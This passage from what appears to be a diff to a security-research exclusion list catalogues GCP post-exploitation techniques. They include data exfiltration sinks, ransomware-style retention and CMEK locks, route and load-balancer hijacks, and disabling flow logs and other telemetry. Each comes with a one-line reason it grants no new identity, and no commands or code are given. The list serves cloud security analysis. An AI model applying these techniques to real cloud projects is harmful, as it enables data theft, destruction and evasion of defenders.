attacker sink + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#create-or-change-a-mute-rule + technique: Create or change a mute rule + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-pubsub-notification-configuration + technique: Delete or alter a Pub/Sub notification configuration + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-bigquery-continuous-export + technique: Delete or alter a BigQuery continuous export + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-an-etd-or-sha-custom-module + technique: Delete an ETD or SHA custom module + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggersupdate--redirect-an-existing-standard-event-stream + technique: eventarc.triggers.update — redirect an existing Standard event stream + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcenrollmentsupdate--redirect-or-broaden-an-advanced-bus-subscription + technique: eventarc.enrollments.update — redirect or broaden an Advanced bus subscription + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggerscreate--copy-future-event-payloads-to-an-attacker-controlled-destination + technique: eventarc.triggers.create — copy future event payloads to an attacker-controlled destination + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcmessagebusespublish--channelspublish--channelconnectionspublish--inject-attacker-chosen-events + technique: eventarc.messageBuses.publish / channels.publish / channelConnections.publish — inject attacker-chosen events + reason: Event injection can activate a handler, but obtaining its identity requires application-specific behavior or another configured pipeline path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-data-fusion-post-exploitation.md#datafusionsecurekeysgetsecret--read-a-namespace-secure-store-value + technique: datafusion.secureKeys.getSecret — read a namespace secure-store value + reason: 'No configuration-derived second identity: stored secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-transcoder-post-exploitation.md#transcoderjobscreate--re-host-media-readable-by-the-service-agent + technique: transcoder.jobs.create — re-host media readable by the service agent + reason: media exfil via service agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationmigratingvmscreate--vmmigrationmigratingvmsupdate--migrate-an-aws-unattached-volume + technique: vmmigration.migratingVms.create + vmmigration.migratingVms.update — migrate an AWS unattached volume + reason: disk data exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationimageimportscreate--make-the-service-agent-read-a-disk-image-from-cloud-storage + technique: vmmigration.imageImports.create — make the service agent read a disk image from Cloud Storage + reason: disk image read via agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationclonejobscreate--materialize-a-replicated-vm-and-read-its-snapshot + technique: vmmigration.cloneJobs.create — materialize a replicated VM and read its snapshot + reason: Replica disk access is data export. Execution as the configured VM SA is already gcp-vmmigration-migratingvm-metadata-clone (requires update + clone). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-runtimeconfig-post-exploitation.md#runtimeconfigvariablesget--list--recover-stored-variable-values + technique: runtimeconfig.variables.get (+ .list) — recover stored variable values + reason: config/secret read; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-personalized-service-health-post-exploitation.md#servicehealtheventslist--infer-productlocation-usage-and-monitor-defensive-outages + technique: servicehealth.events.list — infer product/location usage and monitor defensive outages + reason: recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-parameter-manager-post-exploitation.md#parameterversionsrender--read-secret-manager-secrets-you-dont-have-access-to + technique: parameterVersions.render — read Secret Manager secrets you don't have access to + reason: Returns secret values through a parameter identity; the payload is arbitrary data, so no configuration-derived target identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectusersfetchaccesstoken---recover-the-callers-own-linked-oauth-token + technique: developerconnect.users.fetchAccessToken - recover the caller's own linked OAuth token + reason: Returns only the caller's linked provider OAuth token; no other user can be selected. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadtoken---export-a-linked-repository-read-credential + technique: developerconnect.gitRepositoryLinks.fetchReadToken - export a linked repository read credential + reason: 'No configuration-derived second identity: repo read credential.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadwritetoken---export-a-provider-write-credential + technique: developerconnect.gitRepositoryLinks.fetchReadWriteToken - export a provider write credential + reason: duplicate; gcp-developerconnect-readwrite-token-pipeline-poison (token or Git proxy alternative, linked repository and automatic privileged consumer required). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksget--cloudtaskstaskslist--cloudtaskstasksfullview---harvest-secrets-from-queued-work + technique: cloudtasks.tasks.get | cloudtasks.tasks.list (+ cloudtasks.tasks.fullView) - harvest secrets from queued work + reason: 'No configuration-derived second identity: secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksrun---replay-queued-work-on-demand + technique: cloudtasks.tasks.run - replay queued work on demand + reason: Runtime-only task URL and task body determine whether a replayed token reaches an attacker; run alone returns no token and cannot edit the task. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksdelete---selectively-or-batch-delete-queued-work + technique: cloudtasks.tasks.delete - selectively or batch-delete queued work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuespurge--pause--delete---destroy-or-stall-queued-business-work + technique: cloudtasks.queues.purge / .pause / .delete - destroy or stall queued business work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivitypolicybasedroutescreate--steer-matching-traffic-to-an-attacker-controlled-next-hop + technique: networkconnectivity.policyBasedRoutes.create — steer matching traffic to an attacker-controlled next hop + reason: traffic redirection; reachability or interception alone needs a separate credential or vulnerable service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivityinternalrangescreate--vpc-ipam-squat--subnet-allocation-dos + technique: networkconnectivity.internalRanges.create — VPC IPAM squat / subnet-allocation DoS + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#containeranalysisoccurrenceslist--get--recover-software-supply-chain-metadata + technique: containeranalysis.occurrences.list / .get — recover software-supply-chain metadata + reason: 'No configuration-derived second identity: supply-chain metadata read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#occurrencescreate--notesattachoccurrence--a-registered-signing-key--authorize-a-chosen-digest + technique: occurrences.create + notes.attachOccurrence + a registered signing key — authorize a chosen digest + reason: 'No configuration-derived second identity: admission bypass only; deploy separate.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: dialogflow.webhooks.update — redirect retained external authentication material + reason: Retained third-party authentication only; Google SA OAuth redirect is rejected without actAs and captured ID tokens are audience-bound. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsrestore + technique: storage.buckets.restore + reason: bucket recovery/destination re-establish; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#signed-urls--credential-free-exfil--covert-write-iamserviceaccountssignblob + technique: Signed URLs — credential-free exfil & covert write (iam.serviceAccounts.signBlob) + reason: Duplicate of gcp-iam-serviceaccounts-signblob. That entry already models SA signing authority; Storage URL use adds no permission alternative. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectsdelete + technique: storage.objects.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsdelete-storageobjectsdelete--storageobjectslist + technique: storage.buckets.delete, storage.objects.delete & storage.objects.list + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--irreversible-retention-lock-denial--ransomware--anti-forensics + technique: storage.buckets.update — irreversible retention lock (denial / ransomware / anti-forensics) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebatchoperationsjobscreate--serverless-bulk-delete--re-encrypt--hold-strip-mass-dos--ransomware + technique: storagebatchoperations.jobs.create — serverless bulk delete / re-encrypt / hold-strip (mass DoS & ransomware) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketssetipfilter--storagebucketsupdate + technique: storage.buckets.setIpFilter & storage.buckets.update + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--default-cmek-repoint-ransom-of-future-writes + technique: storage.buckets.update — default-CMEK repoint (ransom of future writes) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectssetretention--object-holds--per-object-un-deletable-lock + technique: storage.objects.setRetention / object holds — per-object un-deletable lock + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--disable-soft-delete--versioning-anti-forensics-multiplier + technique: storage.buckets.update — disable soft-delete & versioning (anti-forensics multiplier) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--lifecycle-rule-as-deferred-deniable-mass-deletion + technique: storage.buckets.update — lifecycle rule as deferred, deniable mass-deletion + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compliance-manager-post-exploitation.md#cloudsecuritycomplianceframeworkdeploymentsdelete--cloudcontroldeploymentsdelete--update--tear-down-or-weaken-enforced-controls + technique: cloudsecuritycompliance.frameworkDeployments.delete / cloudControlDeployments.delete / .update — tear down or weaken enforced cont + reason: 'No configuration-derived second identity: security control teardown.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + technique: deploymentmanager.manifests.get (+ discovery permissions) — recover configuration and unredacted credentials + reason: 'No configuration-derived second identity: manifest secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesget--reuse-a-reversible-template-to-reverse-tokens + technique: dlp.deidentifyTemplates.get — reuse a reversible template to reverse tokens + reason: 'No configuration-derived second identity: data re-identification.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpjobscreate--read-through-the-dlp-service-agent-and-export-quoted-findings + technique: dlp.jobs.create — read through the DLP service agent and export quoted findings + reason: 'No configuration-derived second identity: service-agent confused-deputy data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpcontentpoliciesupdate--turn-gemini-enterprise-sensitive-content-gates-into-allow-rules + technique: dlp.contentPolicies.update — turn Gemini Enterprise sensitive-content gates into allow rules + reason: 'No configuration-derived second identity: security control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesupdate--make-a-shared-transform-pass-sensitive-values-through + technique: dlp.deidentifyTemplates.update — make a shared transform pass sensitive values through + reason: 'No configuration-derived second identity: data masking bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpinspecttemplatesupdate--blind-template-driven-inspection + technique: dlp.inspectTemplates.update — blind template-driven inspection + reason: 'No configuration-derived second identity: detection evasion.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md#workflowsworkflowsget--recover-workflow-source-and-its-execution-identity + technique: workflows.workflows.get — recover workflow source and its execution identity + reason: source/secret read, SA recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#discoveryengineservingconfigssearch--read-a-periodic-bigquery-copy-whose-imported-acls-are-not-enforced + technique: discoveryengine.servingConfigs.search — Read a Periodic BigQuery Copy Whose Imported ACLs Are Not Enforced + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#data-plane-read--search--grounded-answers-leak-indexed-content-rolesdiscoveryengineviewer + technique: Data-plane read — search & grounded answers leak indexed content (roles/discoveryengine.viewer) + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secure-source-manager-post-exploitation.md#repositoriesfetch--read-apis--harvest-private-source-and-unmerged-review-intelligence + technique: repositories.fetch + read APIs — harvest private source and unmerged review intelligence + reason: source code read; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-web-security-scanner-post-exploitation.md#create-and-run-a-custom-scan-to-map-a-projects-public-application + technique: Create and run a custom scan to map a project's public application + reason: app vulnerability recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesgetguestattributes--read-guest-attributes-ssh-host-keys--bootstrap-secrets-without-ssh + technique: compute.instances.getGuestAttributes — read guest attributes (SSH host keys / bootstrap secrets) without SSH + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#read-serial-console-output---computeinstancesgetserialportoutput + technique: Read serial-console output - compute.instances.getSerialPortOutput + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesnapshotssetiampolicy--computeimagessetiampolicy--resource-level-exfil-share + technique: compute.snapshots.setIamPolicy / compute.images.setIamPolicy — resource-level exfil share + reason: Offline filesystem/data access or resource sharing; any credential found is runtime data, not a configuration-derived identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computepacketmirroringscreate--traffic-interception-by-passive-packet-mirroring + technique: compute.packetMirrorings.create — traffic interception by passive packet mirroring + reason: 'No configuration-derived second identity: traffic interception.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutescreate--next-hop-instance-route-hijack-active-in-path-mitm + technique: compute.routes.create — next-hop-instance route hijack (active in-path MITM) + reason: 'No configuration-derived second identity: network MITM.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--bgp-advertised-route-tampering-dynamic-route-hijack--blackhole + technique: compute.routers.update — BGP advertised-route tampering (dynamic-route hijack / blackhole) + reason: 'No configuration-derived second identity: network hijack/DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeurlmapsupdate--load-balancer-backend-hijack + technique: compute.urlMaps.update — load-balancer backend hijack + reason: 'No configuration-derived second identity: traffic redirection.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsupdate--computebackendservicesupdate--cloud-cdn-cache-poisoning--response-tamper + technique: compute.backendBuckets.update / compute.backendServices.update — Cloud CDN cache poisoning & response tamper + reason: 'No configuration-derived second identity: response tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsaddsignedurlkey--computebackendservicesaddsignedurlkey--inject-a-cloud-cdn-signed-urlcookie-signing-key-access-control-bypass + technique: compute.backendBuckets.addSignedUrlKey / compute.backendServices.addSignedUrlKey — inject a Cloud CDN signed-URL/cookie signing ke + reason: 'No configuration-derived second identity: CDN content access bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesaddaccessconfig--expose-an-internal---no-address-vm-to-the-internet + technique: compute.instances.addAccessConfig — expose an internal (--no-address) VM to the internet + reason: 'No configuration-derived second identity: network exposure.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computerouterscreate--computeroutersupdate--cloud-nat-outbound-egress-for-isolated-vms-stealthy-exfil--c2 + technique: compute.routers.create + compute.routers.update — Cloud NAT outbound egress for isolated VMs (stealthy exfil / C2) + reason: 'No configuration-derived second identity: network egress.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--private-nat-trusted-source-impersonation-ncchybrid-allowlist-bypass + technique: compute.routers.update — Private NAT trusted-source impersonation (NCC/hybrid allowlist bypass) + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdatenetworkinterface--claim-unused-alias-ips-in-a-trusted-secondary-range + technique: compute.instances.updateNetworkInterface — claim unused alias IPs in a trusted secondary range + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancessetmetadata--computeprojectssetcommoninstancemetadata--interactive-serial-console-access-firewall--iap-bypass + technique: compute.instances.setMetadata / compute.projects.setCommonInstanceMetadata — interactive serial-console access (firewall / IAP byp + reason: Gateway reachability needs a separate guest login and actAs for an attached SA; metadata-write identity paths are covered by gcp-compute-instances-setmetadata-existing-vm + and gcp-compute-projects-setcommoninstancemetadata. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdateshieldedinstanceconfig--disable-secure-boot--integrity-monitoring-anti-forensics + technique: compute.instances.updateShieldedInstanceConfig — disable Secure Boot / Integrity Monitoring (anti-forensics) + reason: 'No configuration-derived second identity: anti-forensics.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesecuritypoliciesupdate--cloud-armor-wafdeny-bypass + technique: compute.securityPolicies.update — Cloud Armor WAF/deny bypass + reason: 'No configuration-derived second identity: WAF bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesubnetworksupdate--disable-vpc-flow-logs-anti-forensics + technique: compute.subnetworks.update — disable VPC Flow Logs (anti-forensics) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#networkmanagementvpcflowlogsconfigsdelete--update--disable-central-vpc-flow-logs-anti-forensics-separate-api + technique: networkmanagement.vpcflowlogsconfigs.delete / .update — disable *central* VPC Flow Logs (anti-forensics, separate API) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--disable-cloud-nat-logging-egress-monitoring-blind-spot + technique: compute.routers.update — disable Cloud NAT logging (egress-monitoring blind spot) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-service-directory-post-exploitation.md#servicedirectoryendpointscreateupdate--poison-service-discovery + technique: servicedirectory.endpoints.create/update — poison service discovery + reason: service-discovery traffic redirection; reachability or interception alone needs a separate credential or vulnerable service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamconnectionprofilesdiscover--live-source-db-schema-recon-read-only-role-reaches-it + technique: datastream.connectionProfiles.discover — live source-DB schema recon (read-only role reaches it) + reason: 'No configuration-derived second identity: recon.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamobjectsstartbackfilljob--copy-selected-source-rows-through-an-existing-stream + technique: datastream.objects.startBackfillJob — copy selected source rows through an existing stream + reason: 'No configuration-derived second identity: data copy.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamstreamspause--resume--delete--disrupt-or-stop-replication + technique: datastream.streams.pause / .resume / .delete — disrupt or stop replication + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsaccess + technique: secretmanager.versions.access + reason: Secret payload may contain a key, but identity and validity are runtime data, not derivable from the secret resource configuration. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsadd + technique: secretmanager.versions.add + reason: Changes a secret value consumed by an application; no documented deterministic execution-as-SA path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate + technique: secretmanager.secrets.update + reason: secret lifecycle tampering; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#version-alias-repointing--secretmanagersecretsupdate-secretmanagersecretsget + technique: Version alias repointing — secretmanager.secrets.update (secretmanager.secrets.get) + reason: Selects a stored secret version; any identity gain depends on its payload and consumer behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdestroy + technique: secretmanager.versions.destroy + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdisable + technique: secretmanager.versions.disable + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsdelete + technique: secretmanager.secrets.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate--regional-secret-cmek-hijack-remote-kill-switch + technique: secretmanager.secrets.update — regional-secret CMEK hijack (remote kill-switch) + reason: CMEK kill-switch DoS; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-unified-maintenance-post-exploitation.md#maintenanceresourcemaintenanceslist--enumerate-resources-and-maintenance-windows + technique: maintenance.resourceMaintenances.list — enumerate resources and maintenance windows + reason: resource recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md#weaken-or-delete-semantic-governance-tool-guardrails + technique: Weaken or delete Semantic Governance tool guardrails + reason: Removes an application tool guardrail but gives no new IAM grant; follow-on tool authority must already exist. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesgeneratewallet--pull-the-connection-wallet--full-db-access + technique: oracledatabase.autonomousDatabases.generateWallet — pull the connection wallet → full DB access + reason: credential/secret disclosure (data); no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesclone--restore--offline-copy-exfil + technique: oracledatabase.autonomousDatabases.clone / .restore — offline copy exfil + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#availability-tampering--failover--switchover--stop--delete + technique: Availability tampering — failover / switchover / stop / delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysretrievelegacysecretkey--retrieve-the-legacy-verifier-secret + technique: recaptchaenterprise.keys.retrievelegacysecretkey — retrieve the legacy verifier secret + reason: app verifier secret (data); no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#relatedaccountgroupslist--relatedaccountgroupmembershipslist--map-related-victim-accounts + technique: relatedaccountgroups.list + relatedaccountgroupmemberships.list — map related victim accounts + reason: recon of app accounts; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterpriseassessmentsannotate--submit-false-fraud-model-feedback + technique: recaptchaenterprise.assessments.annotate — submit false fraud-model feedback + reason: data/config tampering; any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--recaptchaenterprisepoliciesupdate--weaken-key-and-challenge-enforcement + technique: recaptchaenterprise.keys.update / recaptchaenterprise.policies.update — weaken key and challenge enforcement + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--pin-valid-assessments-from-an-ip-to-score-09 + technique: recaptchaenterprise.keys.update — pin valid assessments from an IP to score 0.9 + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisefirewallpoliciescreate--update--return-an-attacker-favorable-firewall-action + technique: recaptchaenterprise.firewallpolicies.create / .update — return an attacker-favorable firewall action + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-source-repositories-post-exploitation.md#sourcereposget--clone-private-source-and-inspect-all-reachable-history + technique: source.repos.get — clone private source and inspect all reachable history + reason: source code read; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#bigquery-export-subscription-exfil-sink---pubsubsubscriptionscreate--pubsubtopicsattachsubscription + technique: BigQuery export subscription exfil sink - pubsub.subscriptions.create + pubsub.topics.attachSubscription + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate--reuse-a-stored-custom-writer-without-caller-actas + technique: pubsub.subscriptions.update — reuse a stored custom writer without caller actAs + reason: Stored writer performs only BigQuery/Storage delivery; no token or arbitrary code. A code-bucket poisoning chain would require an actual configured code + consumer. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#cloud-storage-subscription-bucket-name-hijack---storagebucketsdelete + technique: Cloud Storage subscription bucket-name hijack - storage.buckets.delete + reason: bucket-name hijack exfil; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate + technique: pubsub.subscriptions.update + reason: message redirection/DoS (new OIDC SA = OIDC-only, excluded); changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionscreatepubsubtopicsattachsubscription--pubsubsubscriptionsconsume + technique: '**pubsub.subscriptions.create,**pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)' + reason: message siphon (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicspublish + technique: pubsub.topics.publish + reason: Consumer behavior depends on application logic or a vulnerability; publishing alone gives no code or identity control. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsupdate + technique: pubsub.topics.update + reason: topic config DoS; changes availability or detection, not another principal's privileges. +- source: 